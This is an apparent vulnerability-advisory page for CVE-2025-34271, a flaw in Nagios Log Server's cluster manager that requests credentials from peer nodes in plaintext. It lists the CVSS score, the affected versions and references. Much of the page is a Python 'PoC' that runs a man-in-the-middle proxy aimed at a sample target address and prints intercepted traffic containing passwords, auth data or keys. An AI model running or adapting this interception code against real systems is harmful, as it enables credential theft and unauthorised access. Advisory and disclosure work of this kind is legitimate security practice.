CVE-2025-34271

Description

Nagios Log Server versions prior to 2024R2.0.2 contain a vulnerability in the cluster manager component when requesting sensitive credentials from peer nodes over an unencrypted channel even when SSL/TLS is enabled in the product configuration. As a result, an attacker positioned on the network path can intercept credentials in transit. Captured credentials could allow the attacker to authenticate as a cluster node or service account, enabling further unauthorized access, lateral movement, or system compromise.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:nagios:log_server:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:nagios:log_server:2024:r1:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:nagios:log_server:2024:r1.0.1:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:nagios:log_server:2024:r1.0.2:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:nagios:log_server:2024:r1.1:*:*:*:*:*:* - VULNERABLE

Nagios Log Server < 2024R2.0.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-34271 PoC - Nagios Log Server Credential Interception
# This PoC demonstrates Man-in-the-Middle attack to capture plaintext credentials

import socket
import ssl
import threading
import struct

def handle_client(client_socket, target_host, target_port):
    """Forward traffic between client and target, logging potential credentials"""
    try:
        target_socket = socket.create_connection((target_host, target_port), timeout=10)
        
        # Check if connection uses SSL
        try:
            target_socket = ssl.wrap_socket(target_socket)
            print("[+] SSL connection established to target")
        except ssl.SSLError:
            print("[-] Target does not use SSL - plaintext communication")
        
        # Bidirectional forwarding with credential detection
        def forward(source, destination, direction):
            try:
                while True:
                    data = source.recv(4096)
                    if not data:
                        break
                    
                    # Detect potential credential patterns
                    if b'password' in data.lower() or b'auth' in data.lower() or b'key' in data.lower():
                        print(f"[*] Potential credential data captured ({direction}):")
                        print(data.decode('utf-8', errors='ignore')[:200])
                    
                    destination.send(data)
            except Exception as e:
                pass
            finally:
                try:
                    source.close()
                    destination.close()
                except:
                    pass
        
        # Start forwarding threads
        client_thread = threading.Thread(target=forward, args=(client_socket, target_socket, "client->server"))
        server_thread = threading.Thread(target=forward, args=(target_socket, client_socket, "server->client"))
        
        client_thread.daemon = True
        server_thread.daemon = True
        
        client_thread.start()
        server_thread.start()
        
        client_thread.join()
        server_thread.join()
        
    except Exception as e:
        print(f"[-] Error: {e}")
    finally:
        client_socket.close()

def start_mitm_proxy(listen_port, target_host, target_port):
    """Start MITM proxy server"""
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server.bind(('0.0.0.0', listen_port))
    server.listen(5)
    
    print(f"[*] MITM Proxy listening on port {listen_port}")
    print(f"[*] Redirecting traffic to {target_host}:{target_port}")
    
    while True:
        client_socket, addr = server.accept()
        print(f"[+] Connection from {addr[0]}:{addr[1]}")
        
        handler = threading.Thread(target=handle_client, args=(client_socket, target_host, target_port))
        handler.daemon = True
        handler.start()

if __name__ == "__main__":
    # Configuration - modify these values for target environment
    PROXY_PORT = 8080
    NAGIOS_TARGET = "192.168.1.100"  # Target Nagios Log Server IP
    NAGIOS_PORT = 8081  # Cluster communication port
    
    print("=" * 60)
    print("CVE-2025-34271 Nagios Log Server MITM PoC")
    print("=" * 60)
    
    start_mitm_proxy(PROXY_PORT, NAGIOS_TARGET, NAGIOS_PORT)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-34271
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-34271
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-34271/
[4] VulDB https://vuldb.com/cve/CVE-2025-34271
[5] https://www.nagios.com/changelog/#log-server
[6] https://www.nagios.com/products/security/#log-server-2024R2
[7] https://www.vulncheck.com/advisories/nagios-log-server-cluster-manager-credential-requests-sent-over-plaintext

Raw JSON Data

JSON

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